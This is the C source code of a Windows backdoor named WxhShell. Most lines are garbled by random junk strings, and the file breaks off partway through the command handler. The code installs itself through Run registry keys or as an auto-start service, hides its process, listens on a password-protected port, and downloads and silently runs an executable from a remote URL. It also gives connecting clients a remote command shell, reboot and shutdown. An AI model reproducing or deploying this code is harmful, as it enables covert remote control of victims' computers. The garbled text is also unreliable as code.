8>; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8:t!m>(* c,CcKy;+ HANDLE hProcess; <)$&V*\ PROCESS_BASIC_INFORMATION pbi; NF "|*S pO?v$Rjl HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -kF8ZF if(NULL == hInst ) return 0; !;3hN$5 Y`N w E g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?e{hidg g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $E/N NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }~NM\rm C5Vlqc; if (!NtQueryInformationProcess) return 0;
d`gKF aD^jlt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NufRd/q if(!hProcess) return 0; ="p,~ivrz }j$tFFVi~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MgO_gFr <
]"Uy p CloseHandle(hProcess); p[Zk;AT~ bL`>#M_^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;n q"jm if(hProcess==NULL) return 0; bvW3[ V ,(i`gH{D HMODULE hMod; q2b>Z6!5 char procName[255]; {S@gjMuN unsigned long cbNeeded; s"UUo|hM ++sbSl)Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BT)PD9CN( WA6reZ CloseHandle(hProcess); P5KpFL`B |.KB if(strstr(procName,"services")) return 1; // 以服务启动 ).)^\ CJjT-(a return 0; // 注册表启动 A^c
( } (`&SV$m .],:pL9d // 主模块 *Sg6VGP int StartWxhshell(LPSTR lpCmdLine) ){LU>MW{& { HvR5-?qQ SOCKET wsl; QE|x[?7e,! BOOL val=TRUE; (gRTSd T? int port=0; mEmgr(W struct sockaddr_in door; Cxd^i ,|g&v/WlC% if(wscfg.ws_autoins) Install(); )[ QT?; qeDXG port=atoi(lpCmdLine); 5O(U1
* Nwj M=GG if(port<=0) port=wscfg.ws_port; u4tv=+jh Tn"@u&P
* WSADATA data; 7{tU'`P> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W|Cs{rBc? 99\lZ{f( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +[ng99p setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O7]kcA door.sin_family = AF_INET; 0.S7uH%" door.sin_addr.s_addr = inet_addr("127.0.0.1"); H|S hi / door.sin_port = htons(port); 2:@,~{`#* OI_Px3)
y if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Co,?<v=Ll closesocket(wsl); -mP2}BNM return 1; 5)Z:J } 'rNLh3 Wf3{z
D~ if(listen(wsl,2) == INVALID_SOCKET) { #_Zkke~{ closesocket(wsl); QFK'r\3pU return 1; p//mVH% } 4p7j"d5 Wxhshell(wsl); :IX,mDO WSACleanup(); DUSQh+C ? o&goiM return 0; v^J']p ]UkqPtG; } ^6gEL~m|] t3 3\f<e // 以NT服务方式启动 Zt&
7p VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LSR0yCU
{ i= R%MH+ DWORD status = 0; I s|_ DWORD specificError = 0xfffffff; ~ z^49Ys: ;?q-]J? serviceStatus.dwServiceType = SERVICE_WIN32; j115:f serviceStatus.dwCurrentState = SERVICE_START_PENDING; l,9rd[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ng1bjq}E2 serviceStatus.dwWin32ExitCode = 0; TS`m&N{i") serviceStatus.dwServiceSpecificExitCode = 0; @EURp serviceStatus.dwCheckPoint = 0; Y[|9
+T serviceStatus.dwWaitHint = 0; ahdwoB 2%v6h hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p' 6h9/ if (hServiceStatusHandle==0) return; 6B]i}nFH{+ f,kV status = GetLastError(); gL~3z'$ if (status!=NO_ERROR) $VjMd f { 1Q=L/keP serviceStatus.dwCurrentState = SERVICE_STOPPED; /oZvm serviceStatus.dwCheckPoint = 0; &1Y7Ne serviceStatus.dwWaitHint = 0; uJ=d!Kn serviceStatus.dwWin32ExitCode = status; WZn"I&Z serviceStatus.dwServiceSpecificExitCode = specificError; ~1XC5.*-
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
nI4oQE return; z0x^HDAeC } ^?_MIS`4N (/^?$~m" serviceStatus.dwCurrentState = SERVICE_RUNNING; S'`G7ht serviceStatus.dwCheckPoint = 0; P'[ISGt serviceStatus.dwWaitHint = 0; q6hH]Q>w* if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tS Y4' } ]N,'3`&:: n^rbc;} // 处理NT服务事件,比如:启动、停止 !acuOBv, VOID WINAPI NTServiceHandler(DWORD fdwControl) MskOPg { lKf kRyO_S switch(fdwControl) nVr V6w { %__ @G_M case SERVICE_CONTROL_STOP: x?]fHin_ serviceStatus.dwWin32ExitCode = 0; ul
b0B" serviceStatus.dwCurrentState = SERVICE_STOPPED; ,gW$m~\ serviceStatus.dwCheckPoint = 0; '"XVe+.O serviceStatus.dwWaitHint = 0; P9R-41! { |z8_]o+|r1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'f0R/6h\3s } gV$0J?Pr. return; I FvigDj? case SERVICE_CONTROL_PAUSE: T*S)U ; serviceStatus.dwCurrentState = SERVICE_PAUSED; .76Z break; H@1qU|4 case SERVICE_CONTROL_CONTINUE: -GCU6U| serviceStatus.dwCurrentState = SERVICE_RUNNING; R5mb4 break; i!fk'Yt% case SERVICE_CONTROL_INTERROGATE: {MN6JGb|' break; YzJWS|] }; \ KsKb0sM SetServiceStatus(hServiceStatusHandle, &serviceStatus); P8H2v_)X& } SmRFxqtN B
qINU // 标准应用程序主函数 w11L@t[5W8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CKSs(-hkJ { ks69Z|D ?v-!`J>EF# // 获取操作系统版本 1FG"Ak}D OsIsNt=GetOsVer(); $C,`^n' GetModuleFileName(NULL,ExeFile,MAX_PATH); \rT>&o .i c,]fw2 // 从命令行安装 s0CDp"uJY if(strpbrk(lpCmdLine,"iI")) Install(); Z%b1B<u$ ]ncK M?'O // 下载执行文件 U6o]7j&6 if(wscfg.ws_downexe) { YE:5'@Z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J0YNzC4 WinExec(wscfg.ws_filenam,SW_HIDE); JaR!9GVN7 } "rc QS
H ,&s"f4Mft if(!OsIsNt) { RQu[FZT, // 如果时win9x,隐藏进程并且设置为注册表启动 0'Qvis[kt HideProc(); dtjb(*x StartWxhshell(lpCmdLine); 82V;J 8T? } hD7vjg&Z else !HtW~8|: if(StartFromService()) oA:`=f%\ // 以服务方式启动 "HwlN_PA StartServiceCtrlDispatcher(DispatchTable); =EH/~NGk else a[,p1}!_ // 普通方式启动 i7rk%q StartWxhshell(lpCmdLine); 6OJhF7\0& YG5mzP<T return 0; {$pi}; } ,1.Td=lY$ w_;$ahsu~ Lo Y*,Aa& 5|`./+Ghk =========================================== pV!WZUfg 2|(lKFkQ "\]]?& }7K~- [ \%a7ji# snNB;hkj " ;TK$?hrv*1 *(XGNp[0 #include <stdio.h> (dx~lMI #include <string.h> @k# xr #include <windows.h> T1 1>&K) #include <winsock2.h> x8C
* #include <winsvc.h> _KBa`lhE #include <urlmon.h> \/nSRAk ~]9EhC'l #pragma comment (lib, "Ws2_32.lib") cXr_,>k #pragma comment (lib, "urlmon.lib") I"QU{]|J ``@e7~F{ #define MAX_USER 100 // 最大客户端连接数 ccx0aC3@I #define BUF_SOCK 200 // sock buffer bj_/ #define KEY_BUFF 255 // 输入 buffer Z.rhM[*+0C /%F,
#define REBOOT 0 // 重启 c+O:n:L #define SHUTDOWN 1 // 关机 I]pz3!On4, |Ho}
D~ #define DEF_PORT 5000 // 监听端口 5{IbKj| RSw;b.t7 #define REG_LEN 16 // 注册表键长度 7osHKO<?2 #define SVC_LEN 80 // NT服务名长度 K( ?p]wh M"msLz // 从dll定义API @3U=kO(^+\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?k@;,l :s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MX+gc$Y
O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w4&\-S# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b `}hw"f Z Y5Pf
1 // wxhshell配置信息 !t{ struct WSCFG { /^gu&xnS int ws_port; // 监听端口 /)dyAX( char ws_passstr[REG_LEN]; // 口令 "`4M4`' int ws_autoins; // 安装标记, 1=yes 0=no ,% .)mf char ws_regname[REG_LEN]; // 注册表键名 H|MAbx
7 char ws_svcname[REG_LEN]; // 服务名 [A]
+Azc char ws_svcdisp[SVC_LEN]; // 服务显示名 t1$pl6&, char ws_svcdesc[SVC_LEN]; // 服务描述信息 jR+kx:+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NSR][h_ int ws_downexe; // 下载执行标记, 1=yes 0=no #BgiDLh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +CXq41g"c char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {d)L0KXK V^><
=DNE }; Hq?dqg' %~ g:6`1C // default Wxhshell configuration HV]u9nrt# struct WSCFG wscfg={DEF_PORT, u?>8`]r "xuhuanlingzhe", 64<*\z_ 1, q$`>[&I~) "Wxhshell", 9/I
xh? "Wxhshell", ^ ]+vtk "WxhShell Service", wS
>S\,LV "Wrsky Windows CmdShell Service", [ L
' > "Please Input Your Password: ", 6JRFYgI 1, }}"|(2I "http://www.wrsky.com/wxhshell.exe", ZXIz.GFy+ "Wxhshell.exe" ",Fvv
}; Sogt?]HB$ `_]Ul I_h // 消息定义模块 8.7lc2aX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \>{;,f char *msg_ws_prompt="\n\r? for help\n\r#>"; +=nWB=iCb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `7?EE1o
char *msg_ws_ext="\n\rExit."; Q~rE+?n9F char *msg_ws_end="\n\rQuit."; 41Ab, char *msg_ws_boot="\n\rReboot..."; u%=2g'+)_ char *msg_ws_poff="\n\rShutdown..."; 8_O?#JYi char *msg_ws_down="\n\rSave to "; HXPq+ >LPIvmT4D? char *msg_ws_err="\n\rErr!"; ~8-xj6^ char *msg_ws_ok="\n\rOK!"; $'::51 CAN1~ char ExeFile[MAX_PATH]; nV8iYBBym int nUser = 0; J: I@kM HANDLE handles[MAX_USER]; h}DKFrHW;- int OsIsNt; C<w&mFozL I\Cg-&e SERVICE_STATUS serviceStatus; j6L (U~% SERVICE_STATUS_HANDLE hServiceStatusHandle; O.8k [Ht 1?Tj // 函数声明 9;L8%T
( int Install(void); K<5 0>uG int Uninstall(void); r8[)C cv int DownloadFile(char *sURL, SOCKET wsh); :YLurng/] int Boot(int flag); k[@/N+;")` void HideProc(void); ~]'yUd1gSZ int GetOsVer(void); gg Nvm int Wxhshell(SOCKET wsl);
*D1vla8 void TalkWithClient(void *cs); 1(e64w@ int CmdShell(SOCKET sock); .SNg2. int StartFromService(void); \Xr*1DI< int StartWxhshell(LPSTR lpCmdLine); jx
?"`;a IlB*JJnl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vkeZ!klYB VOID WINAPI NTServiceHandler( DWORD fdwControl ); o1-_BlZ #qK5i1< // 数据结构和表定义 \: B))y?}d SERVICE_TABLE_ENTRY DispatchTable[] = rD9:4W`^ { >Pvz5Hf/wW {wscfg.ws_svcname, NTServiceMain}, ;krIuk- {NULL, NULL} h
R6Pj"@0 }; Ry? f; s ?0qP6'nWx // 自我安装 }d5~w[ int Install(void) k~fH:X~x { H?V
b char svExeFile[MAX_PATH]; 6)>otB8)J HKEY key; ofPv?_@ strcpy(svExeFile,ExeFile); y!
QYdf? ,R-aO= % // 如果是win9x系统,修改注册表设为自启动 P>03 DkbB if(!OsIsNt) {
b #Llu$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lg|d[*;'7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /w2-Pgm-[\ RegCloseKey(key); ,lFp4 C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m1xR uj] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =1<v1s|)q RegCloseKey(key); wxT(ktE return 0; QV4FA&f& } 4=N(@mS } Yb1Q6[! } a>Zp?*9 else { sk
AF6n {i}E)Np // 如果是NT以上系统,安装为系统服务 k+Z2)j" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [khXAf1{Q if (schSCManager!=0) g}L>k}I?!W { (A "yE4rYK SC_HANDLE schService = CreateService l kyK ( 2IUd?i3~l schSCManager, ;mPX8bT wscfg.ws_svcname, tg\o"QKW9 wscfg.ws_svcdisp, *dPbV.HCl SERVICE_ALL_ACCESS, b[:{\!I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _KkP{g,Y SERVICE_AUTO_START, xV=Tmu6l SERVICE_ERROR_NORMAL, Mz\l
C)\B svExeFile, ,_Kr}RH NULL, <y&&{*KW8m NULL, Ys&)5j- NULL, ;k,@^f8 NULL, ? PpS4Rd NULL e*U6^Xex ); s'$2 }K
if (schService!=0) R'" c { (L(n% CloseServiceHandle(schService); 8(L6I%k* CloseServiceHandle(schSCManager); 8;#yXlf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NFR>[L V strcat(svExeFile,wscfg.ws_svcname); \N$)Q.M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +[_3h9BK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gYe6(l7m RegCloseKey(key); O~Bh(_R& return 0; W!Fc60>p@f } 6Rmdf>a } Rz[3cN)?q CloseServiceHandle(schSCManager); G\B+bBz } s[t<2)i } Iga#,k+% o$rF-? return 1; Lj3Pp$h } &~2IFp p<,`l)o}~ // 自我卸载 TwI'XMO;A int Uninstall(void)
qI${7 { JYv<QsD HKEY key; PTqia! _ElG&hyp if(!OsIsNt) { `!AI:c*3p1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DuIXv7"[ RegDeleteValue(key,wscfg.ws_regname); WjCxTBI RegCloseKey(key); A7|L|+ ? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "F6gV;{Bt RegDeleteValue(key,wscfg.ws_regname); jL'`M%8O RegCloseKey(key); #<EYO return 0;
SvrUXf } e`OQ6|.k8 } tw&v@HUP } 5$+ssR_?k else { iRbe$v&N *>1^q9M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0/9]TIc if (schSCManager!=0) ivyaGAF}+o { _x|.\j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3!vzkBr if (schService!=0) ?~!9\dek, { n?;rWq" if(DeleteService(schService)!=0) { xu%eg] CloseServiceHandle(schService); 1<5Ug8q CloseServiceHandle(schSCManager); HIx%c5^ return 0; ~_c1h@ } n.z,-H17 CloseServiceHandle(schService); '+27_j } ${eV3LSC CloseServiceHandle(schSCManager); Hmt2~>FI[ } MU(I#Prpe } -; J6S #sDb611}# return 1; qmt9J?$k } y@<2`h VpSpj/\m)' // 从指定url下载文件 Am_>x8z int DownloadFile(char *sURL, SOCKET wsh) %:zu68Q[ { 'tvuw\hhL HRESULT hr; ,?k1if(0[ char seps[]= "/"; ,v,rY' char *token; 0H]{,mVs char *file; a@d 15CN char myURL[MAX_PATH]; 9dBxCdpu char myFILE[MAX_PATH]; ,&qC
R
sw eZN"t~\rX strcpy(myURL,sURL); }m~MN4 l token=strtok(myURL,seps); @un+y9m[C while(token!=NULL) S2_(lS+R { L+(ng file=token; zsJermF,O token=strtok(NULL,seps); Y[dq" } %dv?n#Uf M
+r!63T GetCurrentDirectory(MAX_PATH,myFILE); R&J?XQ strcat(myFILE, "\\"); }v4dOGc? strcat(myFILE, file); 7B (%2 send(wsh,myFILE,strlen(myFILE),0); x+pf@?w send(wsh,"...",3,0); 2\QsF,@`YU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9 fYNSr if(hr==S_OK) 3RT\G0?8f return 0; *8/Xh)B; else lg~7[=%k# return 1; $|.8@
nj
^B%=P } l-l7jq]R V3cKbk7~ // 系统电源模块 nS*Y+Q^9a int Boot(int flag) % hvK;B?Y| { Jk6}hUH, HANDLE hToken; \m
GY'0 TOKEN_PRIVILEGES tkp; $2L6:&.P, Z>Mv$F"p: if(OsIsNt) { DQm%=ON7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }Mt1C~{( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =4a:)g' tkp.PrivilegeCount = 1; %kjG[C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !W9:)5^X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uMS+,dXy if(flag==REBOOT) { u0 tlf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gJ'pwSA return 0; eY5mwJ0K } Xa?O)Bq. else { PD-&(ka. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "8{A4N1B5 return 0; }:
HG)V } .'gm2 } Z,A $h>Z else { '2H?c<Y3 if(flag==REBOOT) { UI+6\ 3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t'l4$}( return 0; MmR6V#@: } ]f0'YLG else { .Dr!\.hL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c{BAQZVc return 0; wG3b{0 } =abcLrf2G } jk03 Hd bj`\;_oo return 1; YcN|L&R. } )ffaOS!\ nQjpJ
/= // win9x进程隐藏模块 '\tI| void HideProc(void) cR/Nl pX { jTvcKm|q %+N]$Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Pc`d]*BYi if ( hKernel != NULL ) >|E]??v { 5M0Q'"`F: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L(VFzPkY% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bOFzq>k_ FreeLibrary(hKernel); 7v ZD } ~Ld5WEp k3 , ~O>8VbF return; IMH4GVr" } $Es\ld fRQ,Z // 获取操作系统版本 0\P5=hD)K int GetOsVer(void) >.d/@3
' { o$sD9xx OSVERSIONINFO winfo; %o0b~R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P 0,]`w GetVersionEx(&winfo); IR6W'vA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @MES.g return 1; /\w4k else f^uiZb return 0; g<W]NYm } $nO~A7 mH&7{2r // 客户端句柄模块 r ;RYGLx int Wxhshell(SOCKET wsl) 4,I,f>V { H9/!oI1P? SOCKET wsh; rx1u*L struct sockaddr_in client; 9&n9J^3L DWORD myID; J:yv82 wUv?;Y$C while(nUser<MAX_USER) f+cb83}n] { QxYm3x5 int nSize=sizeof(client); t0m;tb bg wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q? '4& if(wsh==INVALID_SOCKET) return 1; "GO!^ZG] eU1F7LS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ez,.-@O if(handles[nUser]==0) "?NDN4l* closesocket(wsh); gyw=1q+ else |LZ;2 i nUser++; eiKY az } 'Qy6m'esW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A@}5'LzL J\L'HIs return 0; Vp/XVyL}R } 0)ohab 3^7+fxYWo // 关闭 socket oMQ4q{&| void CloseIt(SOCKET wsh) z1J)./BO { >1j#XA8 closesocket(wsh); q]?qeF[ nUser--; 1K#>^!?M
ExitThread(0); ^wIB;!W } nR{<xD^ 6e-ME3!<l // 客户端请求句柄 41X`. void TalkWithClient(void *cs) qVC+q8 { E>bkEm 5whW>T SOCKET wsh=(SOCKET)cs; pU7;!u:c4% char pwd[SVC_LEN]; lL)f-8DX char cmd[KEY_BUFF]; \sNgs#{7E7 char chr[1]; /ox7$|Jyr int i,j; 5Z>a}s_i $6rm;UH while (nUser < MAX_USER) { ~
WWhCRq tvI<Why\p if(wscfg.ws_passstr) { fDy*dp4z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^4n#''wJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U@OdQAX //ZeroMemory(pwd,KEY_BUFF); QLY;@-jF$ i=0; Msqqjhoy while(i<SVC_LEN) { 9\Jc7[b ]-\68b N // 设置超时 4z<c8
E8 fd_set FdRead; xMjhC;i{ struct timeval TimeOut; ?Q"andf FD_ZERO(&FdRead); 6$urrSQ`N0 FD_SET(wsh,&FdRead); nwFBuP<LR TimeOut.tv_sec=8; MQoA\ TimeOut.tv_usec=0; duG!QS: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <P h50s4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wk%|%/: I3Vu/&8f| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %1i:*~g pwd=chr[0]; ojM'8z0Hn if(chr[0]==0xd || chr[0]==0xa) { 32ki ?\P pwd=0; ^~~Rto)Y break; W.j^L; } _k@cs^ i++; *tqD:hiF } [7I:Dm dA)T> // 如果是非法用户,关闭 socket jFN0xGZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +#Pb@^6"m } ##jJaSxG Nf]?hfJ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,Cr%2Wg- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &>jz[3 Q!l(2nva while(1) { vb>F)X?b_ Ae>+Fcv ZeroMemory(cmd,KEY_BUFF); poQ_r<I ^#R`Uptib // 自动支持客户端 telnet标准 +f/
I>9G j=0; b}qfOgd5 while(j<KEY_BUFF) { ~J].~^[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #*iUZo cmd[j]=chr[0]; ~0PzRS^o if(chr[0]==0xa || chr[0]==0xd) { >$m<R& cmd[j]=0; VIF43/>( break; U"GxXrl } p<L7qwOii j++; B?j t?
} /|v4]t-
H:DR?'yW // 下载文件 [%K6-\S if(strstr(cmd,"http://")) { x1 |/ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9y!0WZE{e if(DownloadFile(cmd,wsh)) ]+I9{%zB%8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lq5\ tL- else .YF1H<gwa send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !ZTghX}D } |ke0G else { H'WYnhU& (_pw\zk> switch(cmd[0]) { g (w/ ?'k_K:_ // 帮助 n-9xfn0U~# case '?': { XM\\Imw send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >w.;A%|N break; (G|!{ } ](JrEg$K // 安装 6_`Bo% case 'i': { f/Y&)#g>k if(Install()) [5&k{*}} send(wsh,msg_ws_err,strlen(msg_ws_err),0); `CWhjL8^ else +?)7l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F3bTFFt break; 7hk<{gnr } ^Laqq%PI // 卸载 e|k]te case 'r': { QT c{7& if(Uninstall()) Wc@
,#v send(wsh,msg_ws_err,strlen(msg_ws_err),0); h7Uj "qH else ?s2-iuMPd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZUS-4'"$ break; Oi\ s } /si<Fp)z // 显示 wxhshell 所在路径 #Vum case 'p': { utmJ>GWSI char svExeFile[MAX_PATH]; GFFwk4n1 strcpy(svExeFile,"\n\r"); 7^i7U-A<A strcat(svExeFile,ExeFile); 'HWl_M send(wsh,svExeFile,strlen(svExeFile),0); cX9o'e:C break; qt L]x - O } D&FDPaJM // 重启 tdK&vqq case 'b': { |Ahf 01 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kN/YnY*J< if(Boot(REBOOT)) ,=+t2Bn send(wsh,msg_ws_err,strlen(msg_ws_err),0);
xgxfPcI else { T7nI/y closesocket(wsh); LzL)qdL ExitThread(0); Pg}QRCB@ } 1o&z |